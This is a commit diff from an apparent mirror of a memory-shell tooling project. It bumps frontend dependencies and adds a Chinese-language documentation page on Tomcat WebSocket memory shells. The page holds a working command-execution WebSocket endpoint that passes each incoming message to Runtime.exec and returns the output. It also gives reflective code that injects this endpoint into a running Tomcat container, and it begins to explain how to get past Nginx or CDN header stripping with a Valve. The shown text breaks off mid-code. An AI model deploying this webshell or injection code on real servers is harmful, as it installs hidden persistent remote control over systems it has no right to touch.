mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
docs: add websocket usage
This commit is contained in:
-1
@@ -37,7 +37,6 @@ public class TomcatWsBypassValve implements Valve {
|
||||
throw new ServletException("Server container not found");
|
||||
}
|
||||
addHeader(request, "Connection", "upgrade");
|
||||
addHeader(request, "Sec-WebSocket-Version", "13");
|
||||
addHeader(request, "Upgrade", "websocket");
|
||||
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
||||
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
||||
|
||||
+16
-22
@@ -11,22 +11,22 @@
|
||||
"@orama/stopwords": "^3.1.18",
|
||||
"@orama/tokenizers": "^3.1.18",
|
||||
"@react-router/node": "^7.12.0",
|
||||
"@tanstack/react-query": "^5.90.16",
|
||||
"@tanstack/react-query": "^5.90.17",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"framer-motion": "^12.26.1",
|
||||
"framer-motion": "^12.26.2",
|
||||
"fumadocs-core": "^16.4.7",
|
||||
"fumadocs-mdx": "14.2.5",
|
||||
"fumadocs-ui": "16.4.7",
|
||||
"i18next": "^25.7.4",
|
||||
"isbot": "^5.1.32",
|
||||
"lucide-react": "^0.562.0",
|
||||
"motion": "^12.26.1",
|
||||
"motion": "^12.26.2",
|
||||
"react": "^19.2.3",
|
||||
"react-copy-to-clipboard": "^5.1.0",
|
||||
"react-dom": "^19.2.3",
|
||||
"react-hook-form": "^7.71.0",
|
||||
"react-i18next": "^16.5.2",
|
||||
"react-hook-form": "^7.71.1",
|
||||
"react-i18next": "^16.5.3",
|
||||
"react-medium-image-zoom": "^5.4.0",
|
||||
"react-syntax-highlighter": "^16.1.0",
|
||||
"sonner": "^2.0.7",
|
||||
@@ -39,12 +39,12 @@
|
||||
"@react-router/dev": "^7.12.0",
|
||||
"@tailwindcss/vite": "^4.1.18",
|
||||
"@types/mdx": "^2.0.13",
|
||||
"@types/node": "^25.0.7",
|
||||
"@types/node": "^25.0.8",
|
||||
"@types/react": "^19.2.8",
|
||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||
"@types/react-dom": "^19.2.3",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
"react-router-devtools": "^6.1.0",
|
||||
"react-router-devtools": "^6.2.0",
|
||||
"rimraf": "^6.1.2",
|
||||
"serve": "^14.2.5",
|
||||
"tailwindcss": "^4.1.18",
|
||||
@@ -424,11 +424,11 @@
|
||||
|
||||
"@tanstack/devtools-vite": ["@tanstack/[email protected]", "", { "dependencies": { "@babel/core": "^7.28.4", "@babel/generator": "^7.28.3", "@babel/parser": "^7.28.4", "@babel/traverse": "^7.28.4", "@babel/types": "^7.28.4", "@tanstack/devtools-client": "0.0.5", "@tanstack/devtools-event-bus": "0.4.0", "chalk": "^5.6.2", "launch-editor": "^2.11.1", "picomatch": "^4.0.3" }, "peerDependencies": { "vite": "^6.0.0 || ^7.0.0" } }, "sha512-PkMOomcWnl/pUkCqIjqL/csjPHtkMVBirDpJVOZR7XJZDxo5CuD7B+3KsujFCF4Dsn6QYlae97gCZvxi/CB76Q=="],
|
||||
|
||||
"@tanstack/query-core": ["@tanstack/[email protected]6", "", {}, "sha512-MvtWckSVufs/ja463/K4PyJeqT+HMlJWtw6PrCpywznd2NSgO3m4KwO9RqbFqGg6iDE8vVMFWMeQI4Io3eEYww=="],
|
||||
"@tanstack/query-core": ["@tanstack/[email protected]7", "", {}, "sha512-hDww+RyyYhjhUfoYQ4es6pbgxY7LNiPWxt4l1nJqhByjndxJ7HIjDxTBtfvMr5HwjYavMrd+ids5g4Rfev3lVQ=="],
|
||||
|
||||
"@tanstack/react-devtools": ["@tanstack/[email protected]", "", { "dependencies": { "@tanstack/devtools": "0.10.2" }, "peerDependencies": { "@types/react": ">=16.8", "@types/react-dom": ">=16.8", "react": ">=16.8", "react-dom": ">=16.8" } }, "sha512-ONDMs117FrzWxFD1JQ9Z94QnTx+63RuQ+9Z3ieSS9bHAWmty4PWiLddAZPvyHCbV9iljlpUEkCoKCO1HMywR2Q=="],
|
||||
|
||||
"@tanstack/react-query": ["@tanstack/[email protected]6", "", { "dependencies": { "@tanstack/query-core": "5.90.16" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-bpMGOmV4OPmif7TNMteU/Ehf/hoC0Kf98PDc0F4BZkFrEapRMEqI/V6YS0lyzwSV6PQpY1y4xxArUIfBW5LVxQ=="],
|
||||
"@tanstack/react-query": ["@tanstack/[email protected]7", "", { "dependencies": { "@tanstack/query-core": "5.90.17" }, "peerDependencies": { "react": "^18 || ^19" } }, "sha512-PGc2u9KLwohDUSchjW9MZqeDQJfJDON7y4W7REdNBgiFKxQy+Pf7eGjiFWEj5xPqKzAeHYdAb62IWI1a9UJyGQ=="],
|
||||
|
||||
"@types/d3-hierarchy": ["@types/[email protected]", "", {}, "sha512-lnQiU7jV+Gyk9oQYk0GGYccuexmQPTp08E0+4BidgFdiJivjEvf+esPSdZqCZ2C7UwTWejWpqetVaU8A+eX3FA=="],
|
||||
|
||||
@@ -446,7 +446,7 @@
|
||||
|
||||
"@types/ms": ["@types/[email protected]", "", {}, "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA=="],
|
||||
|
||||
"@types/node": ["@types/[email protected].7", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-C/er7DlIZgRJO7WtTdYovjIFzGsz0I95UlMyR9anTb4aCpBSRWe5Jc1/RvLKUfzmOxHPGjSE5+63HgLtndxU4w=="],
|
||||
"@types/node": ["@types/[email protected].8", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-powIePYMmC3ibL0UJ2i2s0WIbq6cg6UyVFQxSCpaPxxzAaziRfimGivjdF943sSGV6RADVbk0Nvlm5P/FB44Zg=="],
|
||||
|
||||
"@types/parse-json": ["@types/[email protected]", "", {}, "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="],
|
||||
|
||||
@@ -674,7 +674,7 @@
|
||||
|
||||
"format": ["[email protected]", "", {}, "sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww=="],
|
||||
|
||||
"framer-motion": ["[email protected].1", "", { "dependencies": { "motion-dom": "^12.24.11", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-Uzc8wGldU4FpmGotthjjcj0SZhigcODjqvKT7lzVZHsmYkzQMFfMIv0vHQoXCeoe/Ahxqp4by4A6QbzFA/lblw=="],
|
||||
"framer-motion": ["[email protected].2", "", { "dependencies": { "motion-dom": "^12.26.2", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-lflOQEdjquUi9sCg5Y1LrsZDlsjrHw7m0T9Yedvnk7Bnhqfkc89/Uha10J3CFhkL+TCZVCRw9eUGyM/lyYhXQA=="],
|
||||
|
||||
"fsevents": ["[email protected]", "", { "os": "darwin" }, "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw=="],
|
||||
|
||||
@@ -944,9 +944,9 @@
|
||||
|
||||
"minipass": ["[email protected]", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="],
|
||||
|
||||
"motion": ["[email protected].1", "", { "dependencies": { "framer-motion": "^12.26.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-IVhzx9HOQTiJ9ykthMOlZPnLwrkXziN5Q/yebsqBYlFJb2rHP8yhmKc8O/YUT9byPJlxOeqkzfNYCrVKZx8vqg=="],
|
||||
"motion": ["[email protected].2", "", { "dependencies": { "framer-motion": "^12.26.2", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-2Q6g0zK1gUJKhGT742DAe42LgietcdiJ3L3OcYAHCQaC1UkLnn6aC8S/obe4CxYTLAgid2asS1QdQ/blYfo5dw=="],
|
||||
|
||||
"motion-dom": ["[email protected]4.11", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-DlWOmsXMJrV8lzZyd+LKjG2CXULUs++bkq8GZ2Sr0R0RRhs30K2wtY+LKiTjhmJU3W61HK+rB0GLz6XmPvTA1A=="],
|
||||
"motion-dom": ["[email protected]6.2", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-KLMT1BroY8oKNeliA3JMNJ+nbCIsTKg6hJpDb4jtRAJ7nCKnnpg/LTq/NGqG90Limitz3kdAnAVXecdFVGlWTw=="],
|
||||
|
||||
"motion-utils": ["[email protected]", "", {}, "sha512-x5TFgkCIP4pPsRLpKoI86jv/q8t8FQOiM/0E8QKBzfMozWHfkKap2gA1hOki+B5g3IsBNpxbUnfOum1+dgvYww=="],
|
||||
|
||||
@@ -1032,11 +1032,11 @@
|
||||
|
||||
"react-dom": ["[email protected]", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.3" } }, "sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg=="],
|
||||
|
||||
"react-hook-form": ["[email protected].0", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-oFDt/iIFMV9ZfV52waONXzg4xuSlbwKUPvXVH2jumL1me5qFhBMc4knZxuXiZ2+j6h546sYe3ZKJcg/900/iHw=="],
|
||||
"react-hook-form": ["[email protected].1", "", { "peerDependencies": { "react": "^16.8.0 || ^17 || ^18 || ^19" } }, "sha512-9SUJKCGKo8HUSsCO+y0CtqkqI5nNuaDqTxyqPsZPqIwudpj4rCrAz/jZV+jn57bx5gtZKOh3neQu94DXMc+w5w=="],
|
||||
|
||||
"react-hotkeys-hook": ["[email protected]", "", { "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-xbKh6zJxd/vJHT4Bw4+0pBD662Fk20V+VFhLqciCg+manTVO4qlqRqiwFOYelfHN9dBvWj9vxaPkSS26ZSIJGg=="],
|
||||
|
||||
"react-i18next": ["[email protected].2", "", { "dependencies": { "@babel/runtime": "^7.28.4", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-GG/SBVxx9dvrO1uCs8VYdKfOP8NEBUhNP+2VDQLCifRJ8DL1qPq296k2ACNGyZMDe7iyIlz/LMJTQOs8HXSRvw=="],
|
||||
"react-i18next": ["[email protected].3", "", { "dependencies": { "@babel/runtime": "^7.28.4", "html-parse-stringify": "^3.0.1", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "i18next": ">= 25.6.2", "react": ">= 16.8.0", "typescript": "^5" }, "optionalPeers": ["typescript"] }, "sha512-fo+/NNch37zqxOzlBYrWMx0uy/yInPkRfjSuy4lqKdaecR17nvCHnEUt3QyzA8XjQ2B/0iW/5BhaHR3ZmukpGw=="],
|
||||
|
||||
"react-is": ["[email protected]", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
|
||||
|
||||
@@ -1052,7 +1052,7 @@
|
||||
|
||||
"react-router": ["[email protected]", "", { "dependencies": { "cookie": "^1.0.1", "set-cookie-parser": "^2.6.0" }, "peerDependencies": { "react": ">=18", "react-dom": ">=18" }, "optionalPeers": ["react-dom"] }, "sha512-FVyCOH4IZ0eDDRycODfUqoN8ZSR2LbTvtx6RPsBgzvJ8xAXlMZNCrOFpu+jb8QbtZnpAd/cEki2pwE848pNGxw=="],
|
||||
|
||||
"react-router-devtools": ["react-router-devtools@6.1.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-8roDJlN4pf+5K1d9H6kAc/GkeKJlPjFvGHPgu7YoBPS0+1r8WTP12SHFF6kB43o1fiYiFKx9uStCi/amHAFs/w=="],
|
||||
"react-router-devtools": ["react-router-devtools@6.2.0", "", { "dependencies": { "@babel/core": "^7.28.5", "@babel/generator": "^7.28.5", "@babel/parser": "^7.28.5", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@radix-ui/react-accordion": "^1.2.12", "@tanstack/devtools-client": "^0.0.5", "@tanstack/devtools-event-client": "^0.4.0", "@tanstack/devtools-vite": "^0.4.1", "@tanstack/react-devtools": "^0.9.1", "chalk": "5.6.2", "clsx": "2.1.1", "framer-motion": "^12.23.24", "goober": "^2.1.18", "react-d3-tree": "^3.6.6", "react-hotkeys-hook": "^5.2.1", "react-tooltip": "^5.30.0" }, "optionalDependencies": { "@biomejs/cli-darwin-arm64": "^2.3.5", "@rollup/rollup-darwin-arm64": "^4.53.2", "@rollup/rollup-linux-x64-gnu": "^4.53.2" }, "peerDependencies": { "@types/react": ">=17", "@types/react-dom": ">=17", "react": ">=17", "react-dom": ">=17", "react-router": ">=7.0.0", "vite": ">=5.0.0 || >=6.0.0" } }, "sha512-YzaFAyKZEtTmWzBF/moKuMtEa8Hd/xhTtUCKarrhAbZMyR8S0OpCpN0pyKrNGNz7ueOc4jvvKdE9S6Q3UTotDg=="],
|
||||
|
||||
"react-style-singleton": ["[email protected]", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="],
|
||||
|
||||
@@ -1320,10 +1320,6 @@
|
||||
|
||||
"react-d3-tree/uuid": ["[email protected]", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="],
|
||||
|
||||
"react-router-devtools/@biomejs/cli-darwin-arm64": ["@biomejs/[email protected]", "", { "os": "darwin", "cpu": "arm64" }, "sha512-M6xUjtCVnNGFfK7HMNKa593nb7fwNm43fq1Mt71kpLpb+4mE7odO8W/oWVDyBVO4ackhresy1ZYO7OJcVo/B7w=="],
|
||||
|
||||
"react-router-devtools/framer-motion": ["[email protected]", "", { "dependencies": { "motion-dom": "^12.24.10", "motion-utils": "^12.24.10", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-8yoyMkCn2RmV9UB9mfmMuzKyenQe909hRQRl0yGBhbZJjZZ9bSU87NIGAruqCXCuTNCA0qHw2LWLrcXLL9GF6A=="],
|
||||
|
||||
"serve/chalk": ["[email protected]", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="],
|
||||
|
||||
"serve-handler/bytes": ["[email protected]", "", {}, "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw=="],
|
||||
@@ -1346,8 +1342,6 @@
|
||||
|
||||
"fumadocs-mdx/chokidar/readdirp": ["[email protected]", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="],
|
||||
|
||||
"react-router-devtools/framer-motion/motion-dom": ["[email protected]", "", { "dependencies": { "motion-utils": "^12.24.10" } }, "sha512-H3HStYaJ6wANoZVNT0ZmYZHGvrpvi9pKJRzsgNEHkdITR4Qd9FFu2e9sH4e2Phr4tKCmyyloex6SOSmv0Tlq+g=="],
|
||||
|
||||
"vite-node/vite/esbuild": ["[email protected]", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="],
|
||||
|
||||
"ansi-align/string-width/strip-ansi/ansi-regex": ["[email protected]", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="],
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 114 KiB |
@@ -1,4 +1,4 @@
|
||||
{
|
||||
"title": "中间件内存马",
|
||||
"pages": ["tomcat", "jetty"]
|
||||
"pages": ["tomcat-valve", "tomcat-websocket", "jetty"]
|
||||
}
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
---
|
||||
title: Tomcat Valve
|
||||
---
|
||||
|
||||
## Valve 内存马
|
||||
|
||||
## ProxyValve 内存马
|
||||
@@ -0,0 +1,371 @@
|
||||
---
|
||||
title: Tomcat WebSocket
|
||||
---
|
||||
|
||||
## 关于 WebSocket
|
||||
|
||||
WebSocket 是一种网络技术,可通过单个 TCP 套接字连接在客户端和服务器之间即时传送双向、全双工信息。它被广泛用于实时应用程序,如聊天应用程序、在线游戏和实时数据流。
|
||||
|
||||
Java WebSocket 1.0(JSR 356)是 Java EE 7 的一部分,定义了用于在 Java 平台上创建 WebSocket 应用程序的 API。Tomcat 从版本 7.0.27 开始支持 Java WebSocket API。
|
||||
|
||||
## 定义 Endpoint
|
||||
|
||||
JSR 356 定义了两种方式来声明 Endpoint:注解式和接口式。注解式使用注解(如 @ServerEndpoint),而接口式通过实现 Endpoint 类。而注入内存马的场景主要是用于动态添加,因此仅介绍接口式。
|
||||
|
||||
```java
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import javax.websocket.CloseReason;
|
||||
import java.io.IOException;
|
||||
|
||||
public class ExampleEndpoint extends Endpoint {
|
||||
|
||||
@Override
|
||||
public void onOpen(final Session session, EndpointConfig config) {
|
||||
System.out.println("连接已打开:" + session.getId());
|
||||
session.addMessageHandler(new MessageHandler.Whole<String>() {
|
||||
@Override
|
||||
public void onMessage(String message) {
|
||||
System.out.println("收到消息:" + message);
|
||||
try {
|
||||
session.getBasicRemote().sendText("Echo: " + message);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onClose(Session session, CloseReason closeReason) {
|
||||
System.out.println("连接关闭:" + session.getId());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onError(Session session, Throwable thr) {
|
||||
System.out.println("发生错误:" + thr.getMessage());
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
接口继承 javax.websocket.Endpoint,在 onOpen 的时候注册消息处理器。
|
||||
|
||||
在内存马场景下,可以在 onMessage 方法中添加恶意逻辑,例如执行系统命令或加载其他恶意代码,以下是命令回显 WebSocket Endpoint 示例:
|
||||
|
||||
```java
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
import javax.websocket.Session;
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
|
||||
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||
|
||||
private Session session;
|
||||
|
||||
@Override
|
||||
public void onMessage(String cmd) {
|
||||
try {
|
||||
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onOpen(final Session session, EndpointConfig config) {
|
||||
this.session = session;
|
||||
session.addMessageHandler(this);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 注册 Endpoint
|
||||
|
||||
通过继承 javax.websocket.server.ServerApplicationConfig 实现动态注册 Endpoint:
|
||||
|
||||
```java
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.server.ServerApplicationConfig;
|
||||
import javax.websocket.server.ServerEndpointConfig;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
|
||||
public class WebSocketConfig implements ServerApplicationConfig {
|
||||
@Override
|
||||
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> scannedEndpointClasses) {
|
||||
Set<ServerEndpointConfig> result = new HashSet<>();
|
||||
ServerEndpointConfig config = ServerEndpointConfig.Builder
|
||||
.create(ExampleEndpoint.class, "/api/ws")
|
||||
.build();
|
||||
|
||||
result.add(config);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {
|
||||
return scanned;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
在 Tomcat 中 org.apache.tomcat.websocket.server.WsSci 会扫描并注册实现了 ServerApplicationConfig 的类,从而动态添加 WebSocket Endpoint。
|
||||
|
||||
```java
|
||||
@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class,
|
||||
Endpoint.class})
|
||||
public class WsSci implements ServletContainerInitializer {
|
||||
@Override
|
||||
public void onStartup(Set<Class<?>> clazzes, ServletContext ctx)
|
||||
throws ServletException {
|
||||
WsServerContainer sc = init(ctx, true);
|
||||
// 扫描继承的 ServerApplicationConfig 类,并调用其 getEndpointConfigs 方法
|
||||
Set<ServerEndpointConfig> filteredEndpointConfigs = ...;
|
||||
try {
|
||||
for (ServerEndpointConfig config : filteredEndpointConfigs) {
|
||||
sc.addEndpoint(config);
|
||||
}
|
||||
// ...
|
||||
} catch (DeploymentException e) {
|
||||
throw new ServletException(e);
|
||||
}
|
||||
}
|
||||
|
||||
static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) {
|
||||
WsServerContainer sc = new WsServerContainer(servletContext);
|
||||
servletContext.setAttribute("javax.websocket.server.ServerContainer", sc);
|
||||
// ...
|
||||
return sc;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
代码中有两个关键的地方:
|
||||
1. init 方法中,注册的 WsServerContainer 对象会被放入 ServletContext 中,key 为 "javax.websocket.server.ServerContainer",高版本为 "jakarta.websocket.server.ServerContainer"。
|
||||
2. 调用 WsServerContainer 的 addEndpoint 方法注册 Endpoint。
|
||||
|
||||
因此,我们可以通过 ServletContext 获取 WsServerContainer 对象,初始化 Endpoint 并且构建 ServerEndpointConfig 最后调用 addEndpoint 方法注册我们的恶意 Endpoint。
|
||||
|
||||
```java
|
||||
private void inject(Object context, Object obj) throws Exception {
|
||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||
if (container == null) {
|
||||
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||
}
|
||||
|
||||
if (container == null) {
|
||||
throw new RuntimeException("container is null");
|
||||
}
|
||||
|
||||
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
return;
|
||||
}
|
||||
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class<?> serverEndpointConfigClass;
|
||||
Class<?> builderClass;
|
||||
try {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||
} catch (ClassNotFoundException e) {
|
||||
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||
}
|
||||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||||
constructor.setAccessible(true);
|
||||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||||
Object endpointConfig = invokeMethod(o1, "build", null, null);
|
||||
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
}
|
||||
```
|
||||
|
||||
## 绕过 Nginx 或 CDN 限制
|
||||
|
||||
由于在 Tomcat 中实现 WebSocket 使用的是 Upgrade 协议,因此需要 `Upgrade: websocket` 和 `Connection: upgrade` 来将请求转为 WebSocket 连接,Nginx 或 CDN 默认情况下根本不会转发这些头部,甚至会设置 `Connection: close` 导致无法连接到 WebSocket 内存马。以下是尝试在 Nginx 的情况下连接 WebSocket 所能拿到的请求头部:
|
||||
|
||||
```txt
|
||||
host = 127.0.0.1
|
||||
x-real-ip = 192.168.97.1
|
||||
x-forwarded-for = 192.168.97.1
|
||||
x-forwarded-proto = http
|
||||
connection = close
|
||||
sec-websocket-version = 13
|
||||
sec-websocket-key = 4yY8pZQPUv6RlRoPgh7SaA==
|
||||
sec-websocket-extensions = permessage-deflate; client_max_window_bits
|
||||
```
|
||||
|
||||
实现细节的话,不知道大家有没有注意到 Tomcat 中总是默认注册个 Filter 叫作 `org.apache.tomcat.websocket.server.WsFilter`,其实这个就是用于将 HTTP 请求升级为 WebSocket 协议的 Filter。
|
||||
|
||||
首先会在 `UpgradeUtil.isWebSocketUpgradeRequest` 判断请求头里面有没有 `Upgrade: websocket` 以及是不是 GET 请求。
|
||||
其次在 `UpgradeUtil.doUpgrade` 方法中会检查 `Connection: upgrade` 以及 `Sec-WebSocket-Version: 13`,如果没有这些头部就会直接返回 400 或 426 错误码。
|
||||
|
||||
```java
|
||||
public class WsFilter implements Filter {
|
||||
private WsServerContainer sc;
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
